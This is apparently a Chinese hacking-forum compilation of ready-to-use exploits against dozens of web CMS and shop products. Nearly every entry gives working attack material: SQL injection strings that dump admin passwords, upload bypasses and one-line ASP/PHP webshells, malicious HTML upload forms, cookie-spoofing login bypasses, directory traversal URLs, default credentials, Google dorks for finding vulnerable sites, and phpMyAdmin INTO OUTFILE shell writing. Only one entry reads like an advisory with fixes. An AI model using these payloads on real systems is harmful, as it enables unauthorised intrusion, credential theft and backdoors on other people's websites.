大金分享常用的主流WEB漏洞，EXP合集

啟航企業(yè)建站系統(tǒng) cookie注入漏洞通殺所有版本

直接上exploit:
javascript:alert(document.cookie="id="+escape("1 and 1=2 union select 

1,username,password,4,5,6,7,8,9,10 from admin"));
test:http://www.33ddos.com/system/xitong/shownews.asp?id=210
-----------------------------------------------------------------------------------------------------
Asprain論壇 注冊(cè)用戶 上傳圖片就可拿到webshell    ddos*** www.33ddos.com   DDOS  

Asprain是一個(gè)適合于各中小學(xué)、中專、技校、職高建設(shè)校園論壇、師生交流論壇，一些教科研部門、公司企業(yè)建設(shè)

內(nèi)部論壇、IT技術(shù)愛好者建設(shè)技術(shù)交流論壇的免費(fèi)論壇程序。
1.txt存放你的一句話?cǎi)R 如：<%execute(request("cmd"))%>
2.gif 為一小圖片文件，一定要小，比如qq表情圖片
3:copy /b 2.gif+1.txt 3.gif 這樣就偽造了文件頭，但是現(xiàn)在傳上去還不行，我接下來(lái)就用
4:copy /b 3.gif+2.gif 4.asp ok,現(xiàn)在文件頭和文件尾都是正常的圖片文件了
5.q.asp;.gif
google：Powered by Asprain
-----------------------------------------------------------------------------------------------------
ShopNum1全部系統(tǒng)存在上傳漏洞。

首先 在 http://www.33ddos.com/product.html 頁(yè)面查看任意產(chǎn)品詳細(xì)說(shuō)明。
按說(shuō)明 提示登錄后臺(tái)。。
在后臺(tái)功能頁(yè)面->附件管理->附件列表
可以直接上傳.aspx 后綴***
http://www.33ddos.com/upload/20110720083822500.aspx
-----------------------------------------------------------------------------------------------------
×××CMS中小企業(yè)網(wǎng)站管理系統(tǒng) 上傳漏洞

×××CMS是中企商鋪網(wǎng)專為中小企業(yè)網(wǎng)站開發(fā)的網(wǎng)站管理系統(tǒng)。
后臺(tái):admin/login.asp
ewebeditor 5.5 Nday
exp:
<form?action="http://www.33ddos.com/Admin/WebEditor168/asp/upload.asp?

action=save&type=image&style=popup&cusdir=Mr.DzY.asp"?method=post?name=myform?

enctype="multipart/form-data">?
<input?type=file?name=uploadfile?size=100><br><br>?
<input?type=submit?value=upload>?
</form>
ps:先上傳小馬.
inurl:member/Register.asp 您好，歡迎來(lái)到立即注冊(cè)立即登錄設(shè)為首頁(yè)加入收藏

-----------------------------------------------------------------------------------------------------
YothCMS 遍歷目錄漏洞

優(yōu)斯科技企業(yè)網(wǎng)站管理系統(tǒng)(YothCMS)是一款完全開源免費(fèi)的CMS。
默認(rèn)后臺(tái):admin/login.asp
遍歷目錄:
ewebeditor/manage/upload.asp?id=1&dir=../
data:
http://www.33ddos.com/%23da%23ta%23\%23db_%23data%23%23.asa
-----------------------------------------------------------------------------------------------------
Net112企業(yè)建站系統(tǒng) 1.0

源碼簡(jiǎn)介：
Net112企業(yè)建站系統(tǒng)，共有：新聞模塊，產(chǎn)品模塊，案例模塊，下載模塊，相冊(cè)模塊，招聘模塊，自定義模塊，友

情鏈接模塊 八大模塊。
添加管理員：
http://www.33ddos.com/admin/admin.asp?action=add&level=2
其實(shí)加不加都不是很重要，后臺(tái)文件都沒怎么作驗(yàn)證。
上傳路徑：
http://www.33ddos.com/inc/Upfile.as ... 0&ImgHeight=200
http://www.33ddos.com/inc/Upfile.asp?Stype=2
怎么利用自己研究。
遍歷目錄：
http://www.33ddos.com/admin/upfile.asp?path=../..
如：
http://www.33ddos.com/admin/upfile.asp?path=../admin
http://www.33ddos.com/admin/upfile.asp?path=../data
-----------------------------------------------------------------------------------------------------
易和陽(yáng)光購(gòu)物商城通殺 上傳漏洞

前提要求是IIS6.0+asp壞境。
漏洞文件Iheeo_upfile.asp 
過(guò)濾不嚴(yán).直接可以iis6.0上傳
把ASP***改成0855.asp;1.gif
直接放到明小子上傳

Google搜索：inurl:product.asp?Iheeoid=

-----------------------------------------------------------------------------------------------------

傳信網(wǎng)絡(luò)獨(dú)立開發(fā)網(wǎng)站源碼0day漏洞

后臺(tái)system/login.asp
進(jìn)了后臺(tái)有個(gè)ewebeditor
Google 搜索inurl:product1.asp?tyc=
編輯器漏洞默認(rèn)后臺(tái)ubbcode/admin_login.asp
數(shù)據(jù)庫(kù)ubbcode/db/ewebeditor.mdb
默認(rèn)賬號(hào)密碼yzm 111111

拿webshell方法
登陸后臺(tái)點(diǎn)擊“樣式管理”-選擇新增樣式 
樣式名稱:scriptkiddies 隨便寫 
路徑模式：選擇絕對(duì)路徑 
圖片類型：gif|jpg|jpeg|bmpasp|asa|aaspsp|cer|cdx
圖片類型比如就是我們要上傳的ASP***格式
上傳路徑：/
圖片限制：寫上1000 免的上不了我們的asp***
上傳內(nèi)容不要寫
可以提交了 
樣式增加成功！ 
返回樣式管理 找到剛才添加的樣式名稱 然后按工具欄 在按新增工具欄 
按鈕設(shè)置 在可選按鈕 選擇插入圖片然后按》 -然后保存設(shè)置
網(wǎng)頁(yè)地址欄直接輸入ubbcode/Upload.asp?action=save&type=&style=scriptkiddies
上ASP*** 回車 等到路徑

后臺(tái)：system/login.asp
Exp:
and 1=2 union select 1,userid,3,4,5,6,7,8,userpwd,10,11,12,13,14,15 from master
測(cè)試:
http://www.33ddos.com/product_show.asp?id=9 and 1=2 union select 

1,userid,3,4,5,6,7,8,userpwd,10,11,12,13,14,15 from master
http://www.33ddos.com/product_show.asp?id=245 union select 1,userid,3,4,5,6,7,8,userpwd,10,11,12,13,14 

from master
-----------------------------------------------------------------------------------------------------
foosun 0day 最新注入漏洞

漏洞文件：www.33ddos.com/user/SetNextOptions.asp
利用簡(jiǎn)單的方法：
暴管理員帳號(hào)：
http://www.33ddos.com/user/SetNex ... amp;ReqSql=select+1,admin_name,3,4,5,6,7,8++from+FS_MF_Admin
暴管理員密碼：
http://www.33ddos.com/user/SetNex ... amp;ReqSql=select+1,admin_pass_word,
-----------------------------------------------------------------------------------------------------
網(wǎng)站程序的版權(quán)未知！

默認(rèn)網(wǎng)站數(shù)據(jù)庫(kù)：
www.33ddos.com/data/nxnews.mdb
ewebeditor 在線編輯器：
編輯器數(shù)據(jù)庫(kù)下載地址：www.33ddos.com/ewebeditor/db/ewebeditor.mdb
登錄地址：ewebeditor/admin_login.asp
默認(rèn)密碼：admin  admin
登陸后可遍歷目錄：ewebedtior/admin_uploadfile.asp?id=22&dir=../../data

Sql注入漏洞：
http://www.33ddos.com/detail.asp?id=12
exp:
union select 1,admin,password,4,5,6,7,8 from admin
爆出明文帳號(hào)/密碼

上傳漏洞：
后臺(tái)+upfile.asp
如：
http://www.33ddos.com/manage/upfile.asp 可以用工具。如明小子。
shell的地址：網(wǎng)址+后臺(tái)+成功上傳的馬
google:inurl:news.asp?lanmuName=
-----------------------------------------------------------------------------------------------------
dedecms最新0day利用不進(jìn)后臺(tái)直接拿WEBSHELL

拿webshell的方法如下：
網(wǎng)傳的都是說(shuō)要知道后臺(tái)才能利用，但不用，只要 plus 目錄存在，服務(wù)器能外連，就能拿shell.
前題條件，必須準(zhǔn)備好自己的dede數(shù)據(jù)庫(kù)，然后插入數(shù)據(jù)：
insert into dede_mytag(aid,normbody) values(1,'{dede:php}$fp = @fopen("1.php", \'a\');@fwrite($fp, 

\'\');echo "OK";@fclose($fp);{/dede:php}'); 

再用下面表單提交，shell 就在同目錄下 1.php。原理自己研究。。。
<form action="" method="post" name="QuickSearch" id="QuickSearch">
<input type="text" value="http://www.tmdsb.com/plus/mytag_js.php?aid=1" name="doaction" 

style="width:400"><br />
<input type="text" value="dbhost" name="_COOKIE[GLOBALS][cfg_dbhost]" style="width:400"><br />
<input type="text" value="dbuser" name="_COOKIE[GLOBALS][cfg_dbuser]" style="width:400"><br />
<input type="text" value="dbpwd" name="_COOKIE[GLOBALS][cfg_dbpwd]" style="width:400"><br />
<input type="text" value="dbname" name="_COOKIE[GLOBALS][cfg_dbname]" style="width:400"><br />
<input type="text" value="dede_" name="_COOKIE[GLOBALS][cfg_dbprefix]" style="width:400"><br />
<input type="text" value="true" name="nocache" style="width:400">
<input type="submit" value="提交" name="QuickSearchBtn"><br />
</form>
<script>
function addaction()
{
document.QuickSearch.action=document.QuickSearch.doaction.value;
}
</script>
-----------------------------------------------------------------------------------------------------
dedecms織夢(mèng)暴最新嚴(yán)重0day漏洞
bug被利用步驟如下：
http://www.33ddos.com/網(wǎng)站后臺(tái)/login.php?dopost=login&validate={dcug}&userid=admin&pwd=inimda&_POST

[GLOBALS][cfg_dbhost]=116.255.183.90&_POST[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbpwd]

=r0t0&_POST[GLOBALS][cfg_dbname]=root
把上面{}上的字母改為當(dāng)前的驗(yàn)證碼，即可直接進(jìn)入網(wǎng)站后臺(tái)。
-----------------------------------------------------------------------------------------------------
多多淘寶客程序上傳漏洞 
漏洞頁(yè)面：
admin\upload_pic.php
傳送門：
http://www.33ddos.com/admin/upload_pic.php?uploadtext=slide1
PS:copy張圖片馬 直接  xxx.php 上傳抓包地址！
-----------------------------------------------------------------------------------------------------
無(wú)憂公司系統(tǒng)ASP專業(yè)版后臺(tái)上傳漏洞
漏洞文件 后臺(tái)上傳
admin/uploadPic.asp
漏洞利用 這個(gè)漏洞好像是雷池的
http://www.33ddos.com/admin/upl ... ptkiddies.asp;& upload_code=ok&editImageNum=1
等到的webshell路徑：
/UploadFiles/scriptkiddies.asp;_2.gif
-----------------------------------------------------------------------------------------------------
住哪酒店分銷聯(lián)盟系統(tǒng)2010
Search：
inurl:index.php?m=hotelinfo
http://www.33ddos.com/index.php?m=liansuohotel&cityid=53%20and%201=2%20union%20select%201,concat

(username,0x3a,password),3,4,5,6,7,8,9,10%20from%20zhuna_admin
默認(rèn)后臺(tái)：index.php?m=admin/login
-----------------------------------------------------------------------------------------------------
inurl:info_Print.asp?ArticleID=
后臺(tái) ad_login.asp
爆管理員密碼：
union select 1,2,username,password,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 

from admin
-----------------------------------------------------------------------------------------------------
搜索框漏洞！
%' and 1=2 union select 1,admin,3,4,5,6,password,8,9,10 from admin where '%'='
-----------------------------------------------------------------------------------------------------
關(guān)鍵字：
inurl:/reg_TemletSel.asp?step=2
或者
電子商務(wù)自助建站--您理想的助手
-----------------------------------------------------------------------------------------------------
iGiveTest 2.1.0注入漏洞
Version: <= 2.1.0
# Homepage: http://iGiveTest.com/
谷歌關(guān)鍵字: “Powered by iGiveTest”
隨便注冊(cè)一個(gè)帳號(hào)。然后暴管理員帳號(hào)和密碼
http://www.xxxx.com/users.php?ac ... r=-1&userids=-1) union select 1,concat

(user_name,0x3a,user_passhash),user_email,user_firstname,user_lastname,6,7 from users,groups where (1
-----------------------------------------------------------------------------------------------------
CKXP網(wǎng)上書店注入漏洞
工具加表:shop_admin 加字段:admin
后臺(tái):admin/login.asp 
登陸后訪問(wèn):admin/editfile.asp?act= 直接寫馬.也可以直接傳馬:admin/upfile1.asp?path=/
inurl:book.asp 請(qǐng)使用域名訪問(wèn)本站并不代表我們贊同或者支持讀者的觀點(diǎn)。我們的立場(chǎng)僅限于傳播更多讀者感興

趣的信息
-----------------------------------------------------------------------------------------------------
段富超個(gè)人網(wǎng)站系統(tǒng)留言本寫馬漏洞
×××：http://www.mycodes.net/24/2149.htm
addgbook.asp 提交一句話。
連接： http://www.xxxx.tv/date/date3f.asp
google:為防批量，特略！
-----------------------------------------------------------------------------------------------------
智有道專業(yè)旅游系統(tǒng)v1.0 注入及列目錄漏洞
默認(rèn)后臺(tái)路徑：/admin/login.asp
默認(rèn)管理員：admin
默認(rèn)密碼：123456
SQL EXP Tset:
http://www.33ddos.com/info/show.asp?id=90 union select 1,userid,3,4,5,userpsw,7,8,9,10,11,12,13,14,15 
from admin
-----------------------------------------------------------------------------------------------------
ewebeditor(PHP) Ver 3.8 本任意文件上傳0day
EXP：
<title>eWebeditoR3.8 for php任意文件上EXP</title>
<form action="" method=post enctype="multip
art/form-data"> 
<INPUT TYPE="hidden" name="MAX_FILE_SIZE" value="512000"> 
URL:<input type=text name=url value="http://www.33ddos.com/ewebeditor/" size=100><br> 
<INPUT TYPE="hidden" name="aStyle[12]" value="toby57|||gray|||red|||../uploadfile/|||550|||350|||

php|||swf|||gif|jpg|jpeg|bmp|||rm|mp3|wav|mid|midi|ra|avi|mpg|mpeg|asf|asx|wma|mov|||gif|jpg|jpeg|

bmp|||500|||100|||100|||100|||100|||1|||1|||EDIT|||1|||0|||0|||||||||1|||0|||Office|||1|||zh-cn|||

0|||500|||300|||0|||...|||FF0000|||12|||宋體||||||0|||jpg|jpeg|||300|||FFFFFF|||1"> 
file:<input type=file name="uploadfile"><br> 
<input type=button value=submit onclick=fsubmit()> 
</form><br> 
<script> 
function fsubmit(){ 
form = document.forms[0]; 
form.action = form.url.value+''php/upload.php?action=save&type=FILE&style=toby57&language=en''; 
alert(form.action); 
form.submit(); 
} 
</script>
注意修改里面ewebeditor的名稱還有路徑。
-----------------------------------------------------------------------------------------------------
提交’時(shí)提示ip被記錄 防注入系統(tǒng)的利用
網(wǎng)址：http://www.xxx.com/newslist.asp?id=122′
提示“你的操作已被記錄!”等信息。
利用方法：www.xxx.com/sqlin.asp看是否存在，存在提交http://www.xxx.com/newslist.asp?id=122‘excute

(request("TNT"))寫入一句話。
-----------------------------------------------------------------------------------------------------
西部商務(wù)網(wǎng)站管理系統(tǒng) 批量拿shell-0day
這站用的是SQL通用防注入程序 V3.0,恩,這東西可不好繞,我記得當(dāng)初我有寫過(guò)一個(gè)文章 通過(guò)提交一句話直接拿

shell的..唯一的前提是存儲(chǔ)記錄ip的數(shù)據(jù)庫(kù)必須是.asp或.asa才行..看了下sqlin.mdb 
1:admin_upset.asp 這個(gè)文件有個(gè)設(shè)置上傳后綴的地方.. 很簡(jiǎn)單,它直接禁止了asp,asa.aspx 還有個(gè)cer可以利用

嘛
2:同樣是admin_upset.asp 這個(gè)文件不是入庫(kù)的 他是直接在htmleditor目錄生成個(gè)config.asp文件...Ok不用多說(shuō),

插個(gè)一句話搞定...注意閉合
3:admin_bakup.asp 備份數(shù)據(jù)庫(kù)的..但是得本地構(gòu)造...調(diào)用了filesystemobject 怎么利用就不強(qiáng)調(diào)了..IIS的bug

大家都懂
-----------------------------------------------------------------------------------------------------
JspRun!6.0 論壇管理后臺(tái)注入漏洞

SEBUG-ID:20787 發(fā)布時(shí)間:2011-04-30 影響版本:
JspRun!6.0 
漏洞描述:
JspRun!論壇管理后臺(tái)的export變量沒有過(guò)濾，直接進(jìn)入查詢語(yǔ)句，導(dǎo)致進(jìn)行后臺(tái)，可以操作數(shù)據(jù)庫(kù)，獲取系統(tǒng)權(quán)限

。
在處理后臺(tái)提交的文件中ForumManageAction.java第1940行
String export = request.getParameter("export");//直接獲取，沒有安全過(guò)濾
if(export!=null){
List> styles=dataBaseService.executeQuery("SELECT s.name, s.templateid, t.name AS tplname, 

t.directory, t.copyright FROM jrun_styles s LEFT JOIN jrun_templates t ON t.templateid=s.templateid 

WHERE styleid='"+export+"'");//進(jìn)入查詢語(yǔ)，執(zhí)行了...
if(styles==null||styles.size()==0){
<*參考
[email]nuanfan@gmail.com[/email]
*> SEBUG安全建議:

（1）安全過(guò)濾變量export
（2）在查詢語(yǔ)句中使用占位符
-----------------------------------------------------------------------------------------------------
烏邦圖企業(yè)網(wǎng)站系統(tǒng) cookies 注入

程序完整登陸后臺(tái):/admin/login.asp
默認(rèn)登陸帳號(hào):admin 密碼:admin888
語(yǔ)句：(前面加個(gè)空格)
and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin
或者是16個(gè)字段：
and 1=2 union select 1,username,password,4,5,6,7,8,9,10,11,12,13,14,15,16 from admin
爆不出來(lái)自己猜字段。
注入點(diǎn)：http://www.33ddos.com/shownews.asp?=88
getshell:后臺(tái)有備份，上傳圖片小馬。備份名：a.asp 訪問(wèn) xxx.com/databakup/a.asp
關(guān)鍵字：
inurl:shownews?asp.id=
-----------------------------------------------------------------------------------------------------
CKXP網(wǎng)上書店注入漏洞

工具加表:shop_admin 加字段:admin
后臺(tái):admin/login.asp 
登陸后訪問(wèn):admin/editfile.asp?act= 直接寫馬.也可以直接傳馬:admin/upfile1.asp?path=/
inurl:book.asp 請(qǐng)使用域名訪問(wèn)本站并不代表我們贊同或者支持讀者的觀點(diǎn)。我們的立場(chǎng)僅限于傳播更多讀者感興

趣的信息
-----------------------------------------------------------------------------------------------------
YxShop易想購(gòu)物商城4.7.1版本任意文件上傳漏洞

http://www.33ddos.com/controls/fckedit ... aspx/connector.aspx
跳轉(zhuǎn)到網(wǎng)站根目錄上傳任意文件。
如果connector.aspx文件被刪可用以下exp，copy以下代碼另存為html，上傳任意文件
<form id="frmUpload" enctype="multipart/form-data" 

action="http://www.33ddos.com/controls/fckeditor/editor/filemanager/upload/aspx/upload.aspx?

Type=Media" method="post">
Upload a new file:<br>
<input type="file" name="NewFile" size="50"><br>
<input id="btnUpload" type="submit" value="Upload">
</form>
-----------------------------------------------------------------------------------------------------
SDcms 后臺(tái)拿webshell

第一種方法：
進(jìn)入后臺(tái)-->系統(tǒng)管理-->系統(tǒng)設(shè)置-->系統(tǒng)設(shè)置->網(wǎng)站名稱;
把網(wǎng)站名稱內(nèi)容修改為   "%><%eval request("xxx")'    //密碼為xxx
用菜刀鏈接http://www.xxx.com/inc/const.asp  就搞定了。
第二種方法：
進(jìn)入后臺(tái)-->系統(tǒng)管理-->系統(tǒng)設(shè)置-->系統(tǒng)設(shè)置->上傳設(shè)置;
在文件類型里面添加一個(gè)aaspsp的文件類型，然后找一個(gè)上傳的地方直接上傳asp文件！ 注：修改文件類型后不能

重復(fù)點(diǎn)保存！
第三種方法：
進(jìn)入后臺(tái)-->界面管理-->模板文件管理-->創(chuàng)建文件
文件名寫入getshell.ashx
內(nèi)容寫入下面內(nèi)容：
/====================復(fù)制下面的=========================/
<%@ WebHandler Language="C#" %>
using System;
using System.Web;
using System.IO;
public class Handler : IHttpHandler {
public void Proce***equest (HttpContext context) {
context.Response.ContentType = "text/plain";
StreamWriter file1= File.CreateText(context.Server.MapPath("getshell.asp"));
file1.Write("<%response.clear:execute request(\"xxx\"):response.End%>");
file1.Flush();
file1.Close();
}
public bool IsReusable {
get {
return false;
}
}
}
/=============================================/
訪問(wèn)這個(gè)地址：http://www.xxx.com/skins/2009/getshell.ashx
會(huì)在http://www.xxx.com/skins/2009/目錄下生成getshell.asp 一句話*** 密碼為xxx 用菜刀鏈接
-----------------------------------------------------------------------------------------------------
ESCMS網(wǎng)站管理系統(tǒng)0day

后臺(tái)登陸驗(yàn)證是通過(guò)admin/check.asp實(shí)現(xiàn)的

首先我們打開http://www.33ddos.com/admin/es_index.html
然后在COOKIE結(jié)尾加上
; ESCMS$_SP2=ES_admin=st0p;
修改,然后刷新
進(jìn)后臺(tái)了嘎..
然后呢…提權(quán),嘿嘿,admin/up2.asp,上傳目錄參數(shù)filepath過(guò)濾不嚴(yán),導(dǎo)致可截?cái)嗄夸?生成SHELL

利用方法,可以抓包,然后改一下,NC上傳,還可以直接用DOMAIN等工具提交.
嘿嘿,成功了,shell地址為http://www.33ddos.com/admin/diy.asp
存在這個(gè)上傳問(wèn)題的還有admin/downup.asp,不過(guò)好像作者的疏忽,沒有引用inc/ESCMS_Config.asp,導(dǎo)致打開此頁(yè)面

失敗..
在版本ESCMS V1.0 正式版中,同樣存在上傳問(wèn)題admin/up2.asp和admin/downup.asp都可利用,只不過(guò)cookies欺騙不

能用了
-----------------------------------------------------------------------------------------------------
phpmyadmin拿shell的四種方法總結(jié)及修復(fù)

方法一：
CREATE TABLE `mysql`.`study` (`7on` TEXT NOT NULL );
INSERT INTO `mysql`.`study` (`7on` )VALUES ('<?php @eval($_POST[7on])?>');
SELECT 7onFROM study INTO OUTFILE 'E:/wamp/www/7.php';
----以上同時(shí)執(zhí)行，在數(shù)據(jù)庫(kù): mysql 下創(chuàng)建一個(gè)表名為：study，字段為7on，導(dǎo)出到E:/wamp/www/7.php
    一句話連接密碼：7on
方法二：
讀取文件內(nèi)容：    select load_file('E:/xamp/www/s.php');
寫一句話：    select '<?php @eval($_POST[cmd])?>'INTO OUTFILE 'E:/xamp/www/study.php'
cmd執(zhí)行權(quán)限：    select '<?php echo \'<pre>\';system($_GET[\'cmd\']); echo \'</pre>\'; ?>' INTO 

OUTFILE 'E:/xamp/www/study.php'
方法三：
JhackJ版本 PHPmyadmin拿shell
Create TABLE study (cmd text NOT NULL);
Insert INTO study (cmd) VALUES('<?php eval($_POST[cmd])?>');
select cmd from study into outfile 'E:/wamp/www/7.php';
Drop TABLE IF EXISTS study;
<?php eval($_POST[cmd])?>
CREATE TABLE study(cmd text NOT NULL );# MySQL 返回的查詢結(jié)果為空(即零行)。
INSERT INTO study( cmd ) VALUES ('<?php eval($_POST[cmd])?>');# 影響列數(shù)： 1
SELECT cmdFROM study INTO OUTFILE 'E:/wamp/www/7.php';# 影響列數(shù)： 1
DROP TABLE IF EXISTS study;# MySQL 返回的查詢結(jié)果為空(即零行)。
方法四：
select load_file('E:/xamp/www/study.php');
select '<?php echo \'<pre>\';system($_GET[\'cmd\']); echo \'</pre>\'; ?>' INTO OUTFILE 

'E:/xamp/www/study.php'
然后訪問(wèn)網(wǎng)站目錄：www.33ddos.com/study.php?cmd=dir
-----------------------------------------------------------------------------------------------------
NO.001中學(xué)網(wǎng)站管理系統(tǒng) Build 110628 注入漏洞

NO.001中學(xué)網(wǎng)站管理系統(tǒng)功能模塊:
1.管理員資料:網(wǎng)站的基本信息設(shè)置（校長(zhǎng)郵箱等）,數(shù)據(jù)庫(kù)備份,用戶管理、部門及權(quán)限管理等
2.學(xué)校簡(jiǎn)介:一級(jí)分類，可以添加校園簡(jiǎn)介,領(lǐng)導(dǎo)致辭、校園風(fēng)光、聯(lián)系我們。。。等信息
3.文章管理:二級(jí)分類,動(dòng)態(tài)添加各相關(guān)頻道（圖片視頻頻道、學(xué)校概況頻道除外）文章等信息
4.視頻圖片管理:一級(jí)分類,動(dòng)態(tài)添加視頻或者圖片等信息
5.留言管理:對(duì)留言,修改,刪除、回復(fù)等管理
6.校友頻道:包括校友資料excel導(dǎo)出、管理等功能
7.友情鏈接管理:二級(jí)分類，能建立不同種類的友情鏈接顯示在首頁(yè)
默認(rèn)后臺(tái):admin/login.asp
官方演示:http://demo.001cms.net
×××地址:http://down.chinaz.com/soft/30187.htm
EXP:
union select 1,2,3,a_name,5,6,a_pass,8,9,10,11 from admin
測(cè)試:http://demo.001cms.net/shownews.asp?type=新聞動(dòng)態(tài)&stype=校務(wù)公開&id=484 union select 

1,2,3,a_name,5,6,a_pass,8,9,10,11 from admin
getshell:后臺(tái)有備份，你懂的
另:FCK編輯器有幾處可利用.大家自己行挖掘,由于相關(guān)內(nèi)容較多，我在這里就不說(shuō)了。